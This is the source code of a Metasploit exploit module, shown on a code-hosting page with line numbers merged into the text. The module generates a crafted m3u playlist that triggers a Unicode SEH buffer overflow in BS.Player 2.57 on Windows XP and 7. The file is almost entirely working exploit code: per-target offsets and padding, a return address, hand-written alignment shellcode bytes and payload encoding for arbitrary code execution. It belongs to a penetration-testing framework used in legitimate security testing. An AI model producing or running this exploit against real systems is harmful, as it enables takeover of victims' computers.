Path: blob/master/modules/exploits/windows/fileformat/bsplayer_m3u.rb
25335 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::FILEFORMAT9include Msf::Exploit::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'BS.Player 2.57 Buffer Overflow (Unicode SEH)',16'Description' => %q{17This module exploits a buffer overflow in BS.Player 2.57. When18the playlist import is used to import a specially crafted m3u file,19a buffer overflow occurs allowing arbitrary code execution.20},21'License' => MSF_LICENSE,22'Author' => [23'C4SS!0 G0M3S ', # Original Exploit24'Chris Gabriel', # MSF Module25# Greets: Corelan team for mona.py & awesome tutorials26],27'References' => [28[ 'CVE', '2010-10016' ],29[ 'OSVDB', '82528' ],30[ 'EDB', '15934' ]31],32'DefaultOptions' => {33'EXITFUNC' => 'process',34# 'InitialAutoRunScript' => 'migrate -f',35},36'Platform' => 'win',37'Payload' => {38'Space' => 2000,39'BadChars' => "\x00\x0a\x0d\x1a\x80",40'DisableNops' => true,41'StackAdjustment' => -3500,42},4344'Targets' => [45[46'Windows XP',47{48# pop ecx # pop ebp # ret 0c49# ASLR: False, Rebase: False, SafeSEH: False50# v2.5.7.1051 (bsplayer.exe)51'Ret' => "\x2f\x49",52'Offset' => 4102,53'Padding' => 187954}55],56[57'Windows 7',58{59# pop ecx # pop ebp # ret 0c60# ASLR: False, Rebase: False, SafeSEH: False61# v2.5.7.1051 (bsplayer.exe)62'Ret' => "\x2f\x49",63'Offset' => 4102,64'Padding' => 193165}66],67],68'Privileged' => false,69'DisclosureDate' => '2010-01-07',70'DefaultTarget' => 0,71'Notes' => {72'Reliability' => UNKNOWN_RELIABILITY,73'Stability' => UNKNOWN_STABILITY,74'SideEffects' => UNKNOWN_SIDE_EFFECTS75}76)77)7879register_options(80[81OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),82]83)84end8586def exploit87nseh = "\x61\x42"8889align = ''90align << "\x58" # POP EAX91align << "\x6d" # PAD92align << "\x58" # POP EAX93align << "\x6d" # PAD94align << "\x58" # POP EAX95align << "\x6d" # PAD96align << "\x58" # POP EAX97align << "\x6d" # PAD98align << "\x58" # POP EAX99align << "\x6d" # PAD100align << "\x58" # POP EAX101align << "\x6d" # PAD102align << "\x58" # POP EAX103align << "\x6d" # PAD104align << "\x58" # POP EAX105align << "\x6d" # PAD106align << "\x58" # POP EAX107align << "\x6d" # PAD108align << "\x58" # POP EAX109align << "\x6d" # PAD110align << "\x58" # POP EAX111align << "\x6d" # PAD112align << "\x58" # POP EAX113align << "\x6d" # PAD114align << "\x58" # POP EAX115align << "\x6d" # PAD116align << "\x50" # PUSH EAX117align << "\x6d" # PAD118align << "\xc3" # RET119120enc = framework.encoders.create('x86/unicode_mixed')121register_to_align_to = "EAX"122enc.datastore.import_options_from_hash({ 'BufferRegister' => register_to_align_to })123unicodepayload = enc.encode(payload.encoded, nil, nil, platform)124125padding = rand_text_alpha_lower(target['Padding'])126127buffer = "http://"128buffer << rand_text_alpha_lower(target['Offset'])129buffer << nseh130buffer << target['Ret']131buffer << align132buffer << padding133buffer << unicodepayload134135file_create(buffer)136end137end138139140